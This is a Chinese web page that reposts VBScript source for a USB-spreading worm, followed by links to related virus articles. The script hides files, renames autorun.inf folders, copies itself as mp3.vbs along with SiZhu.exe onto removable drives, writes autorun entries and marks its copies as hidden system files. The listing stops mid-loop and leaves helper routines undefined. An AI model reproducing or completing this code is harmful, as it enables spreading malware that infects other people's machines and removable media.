一段病毒常用的VBS代码
导读：收集整理的这篇文章主要介绍了一段病毒常用的VBS代码，觉得挺不错的，现在分享给大家，也给大家做个参考。 复制代码 代码如下:On error resume next Dim fso,ws...
收集整理的这篇文章主要介绍了一段病毒常用的VBS代码，觉得挺不错的，现在分享给大家，也给大家做个参考。 复制代码 代码如下:On error resume next
Dim fso,wshell,curfolder,curdristr,curdri
Set fso=createobject("scripting.fileSystemobject")
Set wshell=CreateObject("WScript.shell")
Set curfolder=fso.GetFolder(".")
curdristr=Left(WScript.ScriptFullName,3)
Set curdri=fso.GetDrive(curdristr)
reghid() '不显示隐藏文件
If WScript.ScriptFullName=fso.GetSPEcialFolder(1)& "\mP3.vbs" Then '如果在system32中
For i=1 To 2 Step 0
reghid()
For each dri In fso.Drives
If dri.DriveType=1 And dri> "A:" And dri> "B:" Then
'autorun.inf文件夹改名
If fso.FolderExists(dri.Path& "\autorun.inf") Then
fso.MoveFolder dri.Path& "\autorun.inf",dri.Path& "\Rubbish"
End If
'复制自身及exe文件到移动硬盘
If fso.FileExists(dri.Path& "\mp3.vbs") And fso.FileExists(dri.Path& "\autorun.inf") Then
Else
If fso.FileExists(dri.Path& "\mp3.vbs") Then
fso.DeleteFile dri.Path& "\mp3.vbs",True
Elseif fso.FileExists(dri.Path& "\autorun.inf") Then
fso.DeleteFile dri.Path& "\autorun.inf",True
End if
fso.CopyFile WScript.ScriptFullName,dri.Path& "\mp3.vbs",True
If fso.FileExists(".\SiZhu.exe") And Not fso.FileExists(dri.Path& "\SiZhu.exe") Then
fso.CopyFile ".\SiZhu.exe",dri.Path& "\SiZhu.exe",True
End If
autoinf(dri.Path)
'给刚复制的文件加上隐藏属性
Set norkon=fso.GetFile(dri.Path& "\mp3.vbs")
wshell.run "attrib +r +a +s +h "& dri.Path& "\mp3.vbs",0
Set norkon=Nothing
您可能感兴趣的文章:
- linux服务器被植入ddgs、qW3xT.2挖矿病毒的处理实战记录
- 通过批处理关闭135 137 445等端口的实现代码(勒索病毒)
- 对一个vbs脚本病毒的病毒原理分析
- php网页病毒清除类
- VC实现的病毒专杀工具完整实例
- 利用DOS命令来对抗U盘病毒保护U盘数据
- 自制杀u盘病毒的批处理代码
- c病毒程序原理分析(防范病毒 c语言小病毒示例)
- 解析:清除SQL被注入恶意病毒代码的语句
- Autorun 病毒清除工具bat代码
- VBS.Runauto脚本病毒分析篇
- 记事本U盘病毒 Notepad.exe查杀方法
- 美女游戏病毒iwbkvd.exe查杀方法
- 批处理 Autorun 病毒清除工具
- Rootkit病毒的解决办法
声明：本文内容由网友自发贡献，本站不承担相应法律责任。对本内容有异议或投诉，请联系2913721942#qq.com核实处理，我们将尽快回复您，谢谢合作！
若转载请注明出处： 一段病毒常用的VBS代码
本文地址： https://pptw.com/jishu/609810.html